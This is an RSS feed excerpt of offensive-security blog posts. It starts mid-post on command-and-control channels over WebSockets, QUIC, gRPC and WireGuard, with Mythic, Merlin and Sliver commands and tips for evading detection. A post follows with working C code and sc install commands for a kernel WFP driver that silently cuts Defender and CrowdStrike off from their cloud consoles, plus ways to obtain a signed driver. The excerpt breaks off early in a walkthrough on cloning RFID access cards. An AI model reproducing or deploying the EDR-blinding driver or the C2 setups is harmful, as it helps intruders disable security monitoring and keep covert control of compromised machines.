be detected by its fixed handshake. Use staged payloads and sleep masks to reduce the time the channel is open.</li><li>Pair raw TCP with a pivot: an internal host connects to your pivot over TCP, and the pivot forwards to the internet over HTTPS. This keeps the raw TCP off the egress path.</li></ul><h3>Protocol 7: WebSockets</h3><h3>What it is</h3><p>WebSockets are full duplex, persistent connections upgraded from an initial HTTP handshake. Once upgraded, both sides can push messages at any time without reissuing HTTP requests. It is the protocol behind real time web apps like chat and live trading.</p><h3>How the protocol works at the wire level</h3><p>A WebSocket starts life as a normal HTTP request. The client sends Upgrade: websocket and a Sec-WebSocket-Key header. The server responds with 101 Switching Protocols and a Sec-WebSocket-Accept header. From that point on, the TCP connection is no longer HTTP. It carries WebSocket frames.</p><p>A WebSocket frame has a 2 to 14 byte header: a FIN bit, an opcode (0x1 for text, 0x2 for binary, 0x8 for close, 0x9 for ping, 0xA for pong), a mask bit, a payload length, a 4 byte masking key (client to server only), and then the payload. Client to server frames are XOR masked with the key to prevent cache poisoning through intermediaries. Server to client frames are not masked.</p><p>For C2, text frames carry JSON commands and binary frames carry file transfers. Because the connection stays open, the server can push a task the instant it is queued, and the agent streams the result back on the same connection. There is no polling and no beaconing interval.</p><h3>Why red teamers use it</h3><ul><li>Persistent: the operator can push tasks to the implant instantly, no waiting for the next checkin.</li><li>Bidirectional: implants report results and operators send commands on the same socket.</li><li>Looks like a normal HTTPS upgrade, so it blends with web traffic.</li><li>Supported natively by browsers, so you can drive a C2 from a browser extension or a web based implant.</li></ul><h3>How it carries C2</h3><ol><li>The implant opens an HTTPS connection and sends an Upgrade: websocket request.</li><li>The server responds with 101 Switching Protocols and the connection becomes a WebSocket.</li><li>Both sides send frames: text frames for JSON commands, binary frames for file transfers.</li><li>The channel stays open. The operator pushes a task, the implant runs it, and the result streams back as a frame.</li></ol><h3>Real-world APT usage</h3><p>WebSockets are increasingly common in modern C2 frameworks because they enable real time interactivity. Mythic uses WebSockets for its agent to server and operator to server links. Threat actors who build custom browser based implants use WebSockets because they work from inside a browser context and persist across page loads. The persistence and push capability makes WebSockets a strong choice for long lived interactive sessions that need instant task delivery.</p><h3>Tools with GitHub references</h3><p><strong>Mythic (its-a-feature)</strong></p><ul><li>GitHub: <a href="https://github.com/its-a-feature/mythic">https://github.com/its-a-feature/mythic</a></li><li>Language: Go, Docker, React</li><li>A multi agent C2 framework that uses GraphQL and WebSockets to coordinate agents and operators</li><li>Install and run:</li></ul><pre>git clone https://github.com/its-a-feature/mythic.git<br>cd mythic<br>sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http<br>sudo ./mythic-cli install github https://github.com/MythicAgents/apfell<br>sudo ./mythic-cli start<br># Open https://127.0.0.1:7443 in a browser</pre><p><strong>Poseidon (MythicAgents)</strong></p><ul><li>GitHub: <a href="https://github.com/MythicAgents/poseidon">https://github.com/MythicAgents/poseidon</a></li><li>Language: Go</li><li>A Mythic agent for Linux and macOS that talks to the Mythic server over WebSockets</li><li>Install and run:</li></ul><pre>sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon<br># Generate a Poseidon agent in the Mythic UI and deploy it on the target</pre><h3>Red team usage example</h3><p>A Mythic WebSocket agent checking in and receiving a task:</p><pre># In the Mythic UI, generate a Poseidon agent with the websocket C2 profile<br># Deploy the agent binary on the target<br># The agent opens a WSS connection to the Mythic server<br># Operator pushes a task: shell whoami<br># Agent executes and streams the output back over the same WebSocket frame</pre><p>The operator does not poll. The instant a task is queued, the server pushes it down the open WebSocket, and the agent runs it and returns the result on the same frame.</p><h3>Operational notes</h3><ul><li>WebSocket connections stay open, which is great for interactivity but means a network monitor can see a long lived connection. Use a CDN or redirector to hide the destination.</li><li>The initial HTTP upgrade is plain text before TLS if you use ws://. Always use wss:// so the upgrade is encrypted.</li><li>Mythic agents can switch C2 profiles, so you can fall back from WebSocket to HTTP beaconing if the WebSocket channel is detected.</li></ul><h3>Protocol 8: QUIC (HTTP/3 Transport)</h3><h3>What it is</h3><p>QUIC is a modern transport protocol built on UDP that carries HTTP/3. It combines TLS 1.3 encryption, multiplexed streams, and 0-RTT connection setup in a single protocol. It is what Google and Cloudflare use for fast, secure web connections.</p><h3>How the protocol works at the wire level</h3><p>QUIC lives on UDP, usually port 443. The handshake combines the TLS 1.3 handshake with the transport handshake so they happen in the same round trips. A normal QUIC connection takes 1 to 1.5 round trips to establish. With 0-RTT resumption, a client that has connected to the server before can send application data on the very first packet, using keys derived from the previous session.</p><p>Once established, a QUIC connection carries multiple streams. Each stream is an independent, ordered byte stream, and streams are multiplexed over the single UDP connection without head of line blocking (a lost packet stalls only the stream it belongs to, not the whole connection). QUIC also supports connection migration: the connection is identified by a connection ID, not by the IP and port tuple, so if the client changes IP (say, switching from Wi-Fi to cellular), the connection survives.</p><p>For C2, this means the implant can beacon on the first packet (0-RTT), open separate streams for tasking, file transfer, and shell output, and keep the channel alive across network changes. All of it is encrypted under TLS 1.3 and looks like HTTP/3 web traffic.</p><h3>Why red teamers use it</h3><ul><li>0-RTT means the implant can send data on the very first packet, no handshake round trips, so beaconing is fast and stealthy.</li><li>QUIC traffic looks like modern web browsing (HTTP/3 over UDP 443), which is increasingly common and not yet deeply inspected by most IDS.</li><li>Multiplexed streams let the C2 send tasks and receive results on independent streams over one connection.</li><li>Connection migration means the implant can change IP and keep the connection alive, useful on mobile or roaming targets.</li></ul><h3>How it carries C2</h3><ol><li>The implant sends a QUIC ClientHello and 0-RTT data to the C2 server on UDP 443.</li><li>The server completes the TLS 1.3 handshake and accepts the 0-RTT payload.</li><li>The implant opens QUIC streams: one for tasking, one for file transfer, one for shell output.</li><li>Both sides send data over the streams, all encrypted under the single TLS session.</li></ol><h3>Real-world APT usage</h3><p>QUIC as a C2 transport is newer but growing. Merlin added QUIC support specifically to evade detection over HTTP/3, since most IDS does not yet deeply inspect QUIC. Red teams adopt QUIC when they need to blend with modern web traffic that uses HTTP/3 (Google services, Cloudflare fronted sites). Because QUIC over UDP 443 is increasingly normal, expect more threat actors to move to it as inspection matures.</p><h3>Tools with GitHub references</h3><p><strong>Merlin (Ne0nd0g)</strong></p><ul><li>GitHub: <a href="https://github.com/Ne0nd0g/merlin">https://github.com/Ne0nd0g/merlin</a></li><li>Language: Go</li><li>A cross platform C2 that added QUIC as a transport to evade detection over HTTP/3</li><li>Install and run:</li></ul><pre>git clone https://github.com/Ne0nd0g/merlin.git<br>cd merlin<br>go build -o merlin<br># Start the server with a QUIC listener:<br>./merlin server -i 0.0.0.0 -p 443 -t quic<br># Generate an agent that uses QUIC:<br>./merlin agent -t quic -h https://your-c2.example.com:44</pre><h3>Red team usage example</h3><p>A Merlin QUIC agent beaconing over UDP 443:</p><pre># Operator: start a QUIC listener<br>./merlin server -i 0.0.0.0 -p 443 -t quic<br># Generate and deploy the agent<br>./merlin agent -t quic -h https://cdn.example.com:443<br># The agent beacons over HTTP/3, sends 0-RTT data on the first packet,<br># and opens QUIC streams for tasks and output</pre><p>The very first packet from the implant already carries C2 data. There is no handshake delay, which makes the beacon hard to catch with handshake based detection rules.</p><h3>Operational notes</h3><ul><li>QUIC over UDP 443 is blocked on some networks that only allow TCP 443. Test egress first, and keep an HTTPS fallback.</li><li>QUIC is still relatively rare in enterprise traffic. A sudden stream of UDP 443 from a server that never used it can stand out. Use it selectively.</li><li>0-RTT is vulnerable to replay. If you rely on 0-RTT for the very first beacon, an attacker could replay it. For most red team work this is acceptable, but understand the tradeoff.</li></ul><h3>Protocol 9: gRPC over HTTP/2</h3><h3>What it is</h3><p>gRPC is a remote procedure call framework that runs over HTTP/2 and uses protocol buffers (protobuf) for serialization. It is widely used for microservice communication and is increasingly common inside enterprise networks. If a target runs Kubernetes or modern internal services, gRPC traffic is already normal there.</p><h3>How the protocol works at the wire level</h3><p>gRPC rides on HTTP/2. HTTP/2 multiplexes many streams over a single TLS connection. Each gRPC RPC is one HTTP/2 stream, so multiple RPCs (a task fetch, a file upload, a shell session) run in parallel over one connection without opening new sockets.</p><p>Messages are serialized with protocol buffers, a compact binary format. A protobuf message is a sequence of tagged fields, each with a field number, a wire type, and a value. It is much smaller than JSON and does not look like text to a content inspector. gRPC supports four RPC patterns: unary (one request, one response), server streaming (one request, many responses), client streaming (many requests, one response), and bidirectional streaming (many requests, many responses).</p><p>For C2, the implant opens one HTTP/2 connection to the server and uses bidirectional streaming for the main task channel. The server pushes tasks down the stream, and the implant sends results back up the same stream. File transfers use separate streams on the same connection. To a network monitor, this looks like a microservice calling another microservice.</p><h3>Why red teamers use it</h3><ul><li>HTTP/2 multiplexes many streams over one TLS connection, so you can run multiple C2 channels (tasks, files, shell) over a single connection without opening new sockets.</li><li>gRPC over HTTP/2 looks like normal microservice traffic inside a modern enterprise.</li><li>Protocol buffers give you a compact, typed binary format that does not look like text to a content inspector.</li><li>The server can stream responses, so tasks can be pushed to the implant without polling.</li></ul><h3>How it carries C2</h3><ol><li>The implant and server share a protobuf schema that defines C2 messages (Task, Result, FileChunk).</li><li>The implant opens an HTTP/2 connection with TLS to the C2 server.</li><li>The implant calls RPC methods like GetTask and streams back results over the same connection.</li><li>Each RPC is a separate HTTP/2 stream, so multiple operations run in parallel over one connection.</li></ol><h3>Real-world APT usage</h3><p>gRPC and HTTP/2 are newer in offensive tooling but match the trend of red teams hiding C2 inside protocols the target already uses. Merlin is built on HTTP/2 and uses gRPC for its operator to server link. As enterprises move to microservice architectures, gRPC C2 blends perfectly because the target network already expects to see gRPC between internal services. Threat actors who operate against cloud native targets increasingly adopt HTTP/2 based C2 for exactly this reason.</p><h3>Tools with GitHub references</h3><p><strong>Merlin (Ne0nd0g)</strong></p><ul><li>GitHub: <a href="https://github.com/Ne0nd0g/merlin">https://github.com/Ne0nd0g/merlin</a></li><li>Language: Go</li><li>Merlin uses HTTP/2 and gRPC for the operator to server link, and HTTP/2 for the agent to server link</li><li>Install and run:</li></ul><pre>git clone https://github.com/Ne0nd0g/merlin.git<br>cd merlin<br>go build -o merlin<br># Start the server:<br>./merlin server -i 0.0.0.0 -p 443 -t https<br># The server uses gRPC for the operator CLI to authenticate and issue commands</pre><p><strong>merlin-cli (Ne0nd0g)</strong></p><ul><li>GitHub: <a href="https://github.com/Ne0nd0g/merlin-cli">https://github.com/Ne0nd0g/merlin-cli</a></li><li>Language: Go</li><li>The gRPC command line client for the Merlin server</li><li>Install and run:</li></ul><pre>git clone https://github.com/Ne0nd0g/merlin-cli.git<br>cd merlin-cli<br>go build -o merlin-cli<br># Connect to the Merlin server over gRPC:<br>./merlin-cli -H your-c2.example.com:443 -P yourpassword</pre><h3>Red team usage example</h3><p>An operator issuing commands to a Merlin agent over gRPC:</p><pre># Operator CLI connects to the server over gRPC<br>merlin&gt; agents<br>merlin&gt; use agent &lt;id&gt;<br>merlin&gt; shell whoami<br># The command is serialized as a protobuf Task message, sent over HTTP/2 to the server,<br># then forwarded to the agent over its own HTTP/2 channel</pre><p>Because every command is a typed protobuf message over HTTP/2, the traffic looks like a microservice calling another microservice, not a C2 channel.</p><h3>Operational notes</h3><ul><li>gRPC uses HTTP/2, which most proxies support, but some older proxies strip HTTP/2 trailers or break long lived streams. Test the egress path first.</li><li>The protobuf schema is a static contract. If you change the schema you have to rebuild both the agent and the server. Plan your message types up front.</li><li>Use TLS with a valid certificate (or a redirector with one) so the HTTP/2 handshake matches a real microservice.</li></ul><h3>Protocol 10: WireGuard (VPN Style C2)</h3><h3>What it is</h3><p>WireGuard is a modern VPN protocol that uses ChaCha20 public key encryption to establish a secure tunnel between two peers. It is tiny (under 4,000 lines of code in the Linux kernel), fast, and increasingly common inside enterprise networks as a legitimate VPN.</p><h3>How the protocol works at the wire level</h3><p>WireGuard uses the Noise_IK handshake from the Noise protocol framework. The handshake is a single round trip (1.5 RTT including the first data packet). Each peer has a static Curve25519 key pair. The initiator sends its ephemeral key and an encrypted copy of its static public key. The responder derives the shared secret, authenticates the initiator, and responds. After the handshake, both sides share a symmetric ChaCha20-Poly1305 key used to encrypt data packets.</p><p>WireGuard is connectionless and stateless on the wire. There are no keepalives by default. When no data flows, the tunnel is silent. Data packets carry only a small header (a type byte, a 4 byte receiver index, a 16 byte nonce, then the encrypted payload). To a network monitor, WireGuard traffic is short UDP packets with a recognizable handshake pattern but no readable content.</p><p>For C2, after the handshake both sides get a TUN interface. The operator can route any tool (SSH, RDP, SMB, nmap) through the tunnel as if the implant were a VPN node inside the target network. This is the killer feature: WireGuard does not just carry C2 tasking, it carries any IP traffic you want to pivot through the implant.</p><h3>Why red teamers use it</h3><ul><li>WireGuard gives you a full network interface over the C2 channel, so you can run any tool (SSH, RDP, SMB) through the implant as if it were a VPN node.</li><li>ChaCha20 public key crypto is strong and fast, and the handshake is tiny (a single round trip).</li><li>WireGuard is quiet: when no traffic flows, the tunnel is silent. No beaconing, no keepalives, no traffic to detect.</li><li>Looks like a legitimate VPN if WireGuard is already used in the target environment.</li></ul><h3>How it carries C2</h3><ol><li>The operator and the implant exchange public keys ahead of time.</li><li>The implant initiates a WireGuard handshake to the C2 server on UDP 51820 (or any port you choose).</li><li>After the handshake, both sides have a shared symmetric key and a TUN interface.</li><li>The implant routes traffic into the WireGuard tunnel, and the operator can SSH, scan, or pivot through it as if the implant were a VPN peer.</li></ol><h3>Real-world APT usage</h3><p>WireGuard as a C2 transport is a red team innovation rather than a documented APT staple, but it is increasingly adopted because it solves the pivoting problem so cleanly. Sliver’s WireGuard support made it a popular choice for engagements that need deep internal pivoting. As more enterprises deploy WireGuard as their own VPN, red team WireGuard C2 becomes harder to distinguish from legitimate VPN traffic. Expect threat actors to follow once the technique is more widely demonstrated.</p><h3>Tools with GitHub references</h3><p><strong>Sliver (Bishop Fox)</strong></p><ul><li>GitHub: <a href="https://github.com/bishopfox/sliver">https://github.com/bishopfox/sliver</a></li><li>Language: Go</li><li>Sliver supports WireGuard as a C2 transport, giving you a full VPN tunnel through the implant</li><li>Install and run:</li></ul><pre>git clone https://github.com/bishopfox/sliver.git<br>cd sliver &amp;&amp; make<br>./sliver<br># In the sliver console, start a WireGuard listener:<br>sliver &gt; wg<br># Generate an implant that uses WireGuard:<br>sliver &gt; generate --wg --lhost 10.0.0.1 --lport 51820<br># Once the implant checks in, you get a WireGuard peer and a TUN interface on the server</pre><h3>Red team usage example</h3><p>A Sliver WireGuard implant that lets the operator pivot through the target:</p><pre># Start a WireGuard listener<br>sliver &gt; wg --lhost 10.0.0.1 --lport 51820<br># Generate and deploy the implant<br>sliver &gt; generate --wg 10.0.0.1:51820 --os windows<br># After checkin, the server has a TUN interface (e.g. 100.64.0.2)<br># Operator can now:<br>sliver &gt; portfwd add --remote 10.0.0.5:445 --local 127.0.0.1:4455<br>sliver &gt; reverse-socks</pre><p>The operator now pivots SMB, SSH, or any tool through the WireGuard tunnel into the target network. The implant is effectively a VPN node inside the target.</p><h3>Operational notes</h3><ul><li>WireGuard is silent when idle, which is great for stealth but means you have to actively send traffic to keep the channel alive through stateful firewalls. Sliver handles keepalives for you.</li><li>UDP 51820 is the default WireGuard port. Use a nonstandard port (53, 443, 123) to blend better.</li><li>WireGuard does not obfuscate its handshake. A DPI engine that knows the WireGuard handshake pattern can flag it. If you need obfuscation, wrap WireGuard in a UDP obfuscator or use a custom transport.</li></ul><h3>Quick Reference: All GitHub Repositories</h3><p>This is the consolidated list of every tool referenced in this post, with the repository, the language, and the C2 protocol it implements.</p><ul><li><strong>Sliver</strong> (https://github.com/bishopfox/sliver) — Go — HTTP(S), DNS, mTLS, WireGuard C2</li><li><strong>Covenant</strong> (https://github.com/cobbr/covenant) — C# — .NET HTTP(S) C2 framework</li><li><strong>dnscat2</strong> (https://github.com/iagox86/dnscat2) — Ruby/C — DNS tunnel shell</li><li><strong>iodine</strong> (https://github.com/yarrick/iodine) — C — IP over DNS tunnel</li><li><strong>DoHC2</strong> (https://github.com/spiderlabs/dohc2) — Python/C# — DNS over HTTPS C2</li><li><strong>Havoc</strong> (https://github.com/havocframework/havoc) — C/Go/Python — C2 with SMB pipe pivoting</li><li><strong>xPipe</strong> (https://github.com/boku7/xpipe) — C — Cobalt Strike BOF to list named pipes</li><li><strong>icmpdoor</strong> (https://github.com/krabelize/icmpdoor) — Python — ICMP reverse shell</li><li><strong>icmpsh</strong> (https://github.com/bdamele/icmpsh) — C/Python — simple ICMP reverse shell</li><li><strong>Metasploit Framework</strong> (https://github.com/rapid7/metasploit-framework) — Ruby — Meterpreter over TCP</li><li><strong>Mythic</strong> (https://github.com/its-a-feature/mythic) — Go — multi agent C2 with WebSockets</li><li><strong>Poseidon</strong> (https://github.com/MythicAgents/poseidon) — Go — Mythic agent over WebSockets</li><li><strong>Merlin</strong> (https://github.com/Ne0nd0g/merlin) — Go — HTTP/2, gRPC, QUIC C2</li><li><strong>merlin-cli</strong> (https://github.com/Ne0nd0g/merlin-cli) — Go — gRPC client for Merlin server</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4781056e3971" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blinding an EDR With Windows Filtering Platform (WFP)]]></title>
            <link>https://coffsec.medium.com/blinding-an-edr-with-windows-filtering-platform-wfp-cf5ad794b10d?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf5ad794b10d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Sun, 20 Sep 2026 14:35:16 GMT</pubDate>
            <atom:updated>2026-09-20T14:51:07.016Z</atom:updated>
            <content:encoded><![CDATA[<p>Register one persistent kernel callout at the WFP connect layer, that BLOCKs outbound traffic from EDR processes. The agent remains alive but cloud-silent, triggering only a low-priority “Host connectivity lost” alert (~5 min) and no tamper signal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HOCjL9kYv4Pi3dOPSEFrcQ.png" /></figure><h3>The Core Idea</h3><p>Tell the Windows firewall layer to drop every packet that comes from the EDR process. The EDR keeps running, but the cloud never hears from it again.</p><h3>Why it works</h3><ol><li>Every Windows endpoint-security product: Defender, CrowdStrike, Sophos, SentinelOne, Trend Micro, the rest sends what it sees to a cloud console over a normal network socket.</li><li>Every outbound packet on Windows passes through a kernel layer called the <strong>Windows Filtering Platform (WFP)</strong> before it leaves the machine.</li><li>WFP lets a kernel driver register a small function called a <em>callout</em>. The callout sees every packet and votes BLOCK (drop) or PERMIT (let it through).</li></ol><p>So a driver that says ‘drop any packet whose originating process is MsMpEng.exe’ silently cuts the EDR’s link to the cloud. There is no memory patching, no hooks, no process killed, no service stopped.</p><h3>What you need</h3><p><strong>SYSTEM privileges</strong> on the target host. Loading a kernel driver requires it.</p><p><strong>A kernel-signed driver file</strong>. Three options, in increasing cost:</p><ul><li><strong>Reuse a known vulnerable signed driver</strong> from the LOLDrivers list (BYOVD). No budget. But Microsoft’s Vulnerable Driver Blocklist blocks most of these on up-to-date Windows 11 22H2+.</li><li><strong>Build the WFP callout driver from the official Microsoft WDK sample</strong>, modify the classify function, re-sign with an EV certificate (~$399 / year from DigiCert / SSL.com / a Microsoft Partner).</li><li><strong>Self-sign with a test certificate</strong> — only works on hosts where HVCI / code-integrity is disabled.</li></ul><p><strong>The file path of the EDR process</strong> you want to silence. Example for Defender: C:\Program Files\Windows Defender\MsMpEng.exe.</p><h3>The minimum code</h3><p>All the meaningful logic lives in two short functions.</p><h3>1. On driver load, register one callout and one filter at the connect layer</h3><pre>// Inside DriverEntry()<br>FWPS_CALLOUT0 callout = { 0 };<br>callout.calloutKey = MY_CALLOUT_GUID;<br>callout.classifyFn = ClassifyConnect;     // the function that decides<br>callout.notifyFn  = NotifyConnect;       // can be a no-op<br>FwpsCalloutRegister0(device, &amp;callout);<br>FWPM_FILTER0 filter = { 0 };<br>filter.layerKey            = FWPM_LAYER_ALE_AUTH_CONNECT_V4;   // outbound IPv4 connect<br>filter.action.calloutKey   = MY_CALLOUT_GUID;<br>filter.action.type         = FWP_ACTION_CALLOUT_TERMINATING;<br>filter.flags               = FWPM_FILTER_FLAG_PERSISTENT;     // survives reboot<br>FwpmFilterAdd0(engine, &amp;filter, NULL, NULL);</pre><h3>2. In the callout, block only EDR traffic</h3><pre>NTSTATUS ClassifyConnect(...)<br>{<br>    // WFP gives us the path of the process that owns this connection.<br>    if (wcsstr(imagePath, L&quot;MsMpEng.exe&quot;) ||<br>        wcsstr(imagePath, L&quot;CSFalconService.exe&quot;)) {<br>        classifyOut-&gt;actionType = FWP_ACTION_BLOCK;   // drop the SYN<br>        return;<br>    }<br>    classifyOut-&gt;actionType = FWP_ACTION_PERMIT;       // everyone else: pass<br>}</pre><p>That is the entire technique. The actor adds more EDR-binary paths to the wcsstr list (one per vendor) so the same driver catches every endpoint product on the box.</p><h3>Installing the driver</h3><p>From a SYSTEM shell:</p><pre>copy WfpBlocker.sys C:\Windows\System32\drivers\<br>sc create WfpBlocker type= kernel binPath= System32\drivers\WfpBlocker.sys<br>sc start WfpBlocker</pre><p>Optional — add more EDR paths to block at runtime, without recompiling:</p><pre>WfpBlocker.exe Add-Path &quot;C:\Program Files\Windows Defender\MsMpEng.exe&quot;</pre><h3>What the EDR sees locally</h3><ul><li>The EDR’s connect() returns WSAECONNREFUSED (socket error 10061) almost instantly.</li><li>The EDR retries on its normal backoff schedule: 5 s, 10 s, 30 s, 60 s, 120 s, 240 s, … up to about 30 minutes, then logs a local “cannot contact cloud” warning.</li><li>Task Manager still shows MsMpEng.exe running with normal CPU and memory.</li><li>netstat -ano shows no connection to the cloud IP. The SYN never even leaves the kernel.</li><li><strong>No tamper flag is set.</strong> From the agent’s point of view, this looks exactly like the network is down.</li></ul><h3>What the cloud console sees</h3><ul><li><strong>T + 0 s</strong> — last heartbeat lands normally. Console shows “Last seen: now”.</li><li><strong>T + 30 s</strong> — the next heartbeat attempt is dropped by WFP. Console updates to “Last seen: 30 s ago”.</li><li><strong>T + 5 min</strong> — Defender for Endpoint raises a <strong>low-priority</strong> “Host connectivity lost” alert.</li><li><strong>Tamper alert — never.</strong> This is the central advantage.</li></ul><h3>Why this beats the obvious methods</h3><p>Compared with the most common EDR-disable attempts:</p><ul><li><strong>net stop WinDefend</strong> fires a high-priority &quot;Tamper attempt&quot; alert in about 30 seconds.</li><li><strong>Killing the EDR process</strong> fires a high-priority tamper alert, and the agent auto-restarts within seconds.</li><li><strong>Unhooking ntdll / patching DLLs</strong> is caught by modern memory-scanning behavioral detections.</li><li><strong>WFP block (this technique)</strong> fires no tamper alert. Only a low-priority “Host connectivity lost” alert, lagging by about 5 minutes.</li></ul><p>The whole value of the technique lives in that gap: an extra ~4 minutes of undetected dwell time, and a low-priority alert instead of a high-priority one.</p><h3>Cleaning up (your own lab)</h3><pre>sc stop WfpBlocker<br>sc delete WfpBlocker<br>del C:\Windows\System32\drivers\WfpBlocker.sys<br>netsh wfp reset<br>shutdown /r /t 0</pre><p>After reboot, the Defender cloud console should show “Last contacted: just now” again within about 60 seconds.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf5ad794b10d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Physical Pentest Access Cards: A Deep Technical Walkthrough of RFID and NFC Credential Cloning]]></title>
            <link>https://coffsec.medium.com/physical-pentest-access-cards-a-deep-technical-walkthrough-of-rfid-and-nfc-credential-cloning-86e65879e952?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/86e65879e952</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 10:20:15 GMT</pubDate>
            <atom:updated>2026-09-11T10:20:15.083Z</atom:updated>
            <content:encoded><![CDATA[<p>A step by step technical walkthrough of access card cloning for physical penetration testing, from LF 125 kHz HID Prox and EM410x, to Mifare Classic nested key recovery, HID iCLASS, and reader side attacks on the Wiegand and OSDP protocols.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yUE3nTkcJ5iB2qqCd3ipg.jpeg" /></figure><h3>What this post is about</h3><p>In a physical penetration test, the fastest way through a locked door is often the same card the legitimate users carry every day. Access cards are everywhere, from office lobbies to data center cages to apartment fobs, and most of them are cloneable with tools that cost less than a cheap dinner. This post is a deep, step by step technical walkthrough of how a red teamer reads, clones, and emulates access cards during a physical engagement.</p><p>We start with how access card technology actually works at the radio level, then walk through the attacker toolkit, then a phase by phase engagement playbook: reconnaissance, low frequency 125 kHz card cloning (HID Prox and EM410x), high frequency 13.56 MHz Mifare Classic cloning with the nested attack, HID iCLASS cloning, writing to blank cards, long range capture attacks, and finally reader side attacks on the Wiegand and OSDP protocols.</p><h3>TLDR</h3><p>Most access cards fall into two radio families. Low frequency 125 kHz cards (HID Prox, EM410x, Indala) carry a static unencrypted ID that you can read and clone in seconds with a Proxmark3 or a Flipper Zero. High frequency 13.56 MHz cards (Mifare Classic, HID iCLASS) carry encrypted data, but Mifare Classic’s crypto is broken and the keys can be recovered with the nested or hardnested attack, then the card cloned to a magic UID card. Modern credentials like HID Seos and Mifare DESFire use real cryptography and are not directly cloneable, so attackers downgrade to legacy readers, exploit weak reader configurations, or attack the reader to controller link instead. The reader to controller protocol (Wiegand) sends the badge number in cleartext, so anyone who taps the wire can capture and replay any badge.</p><h3>How an access control system actually works (the full mechanism)</h3><p>To understand why these attacks work, you have to see the whole chain a badge is part of. An access control system is not just a card and a door. It is four pieces that trust each other in a specific order, and the attacks in this post break that trust at different points.</p><h3>The four pieces of the system</h3><ol><li><strong>The credential (the card or fob).</strong> A small passive radio device the user carries. It holds an identifier and, on encrypted cards, secret keys. It has no battery. It wakes up only when a reader powers it with a radio field.</li><li><strong>The reader.</strong> The box on the wall beside the door. It broadcasts a radio field, powers the card, reads the card’s response, extracts the badge number, and sends that number to the controller over a wire.</li><li><strong>The controller.</strong> The panel, often in a server room or above the ceiling, that holds the list of valid badge numbers, the schedules, and the door rules. It receives the number from the reader, checks it against the allowed list, and if the number is allowed it sends a signal to unlock the door.</li><li><strong>The lock.</strong> The electric strike or magnetic lock on the door. When the controller tells it to unlock, it releases for a few seconds so the user can push the door open, then re-locks.</li></ol><h3>Where each attack breaks it</h3><p>The system works because each piece trusts the next. The reader trusts whatever the card sends. The controller trusts whatever the reader sends. The lock trusts whatever the controller sends. Every attack in this post is an abuse of one of those trusts:</p><ul><li><strong>Cloning attacks (Phases 2 to 5)</strong> abuse the reader’s trust of the card. You make a card that sends the same data as a legitimate badge, so the reader accepts it.</li><li><strong>Long range capture (Phase 6)</strong> abuses the card’s blindness to who is powering it. You power the card with your own hidden reader and steal its ID without the holder knowing.</li><li><strong>Reader side attacks (Phase 7)</strong> abuse the controller’s trust of the reader and the wire. You tap or replace the wire so the controller hears a valid badge number that never came from a real badge.</li></ul><h3>How access card technology works</h3><p>Access cards work on one of two radio frequencies, and which one your target uses decides the whole attack.</p><p><strong>Low frequency (LF, 125 kHz).</strong> This is the older family. The card is passive: it has no battery. When you hold it near a reader, the reader’s antenna broadcasts a 125 kHz magnetic field that powers the card’s chip. The chip transmits its static ID back by load modulating that field. The ID is unencrypted and the same every time. Cards in this family include HID ProxCard, EM410x, Indala, and AWID. The classic office fob and the apartment fob are almost always LF.</p><p>LF read range is short, typically 5 to 15 cm, because the magnetic field that powers the card drops off fast. The card just shouts its ID over and over while powered. There is no challenge and response, no rolling code, no encryption. Reading the ID and writing it to a blank card (usually a T5577) is the whole attack.</p><p><strong>High frequency (HF, 13.56 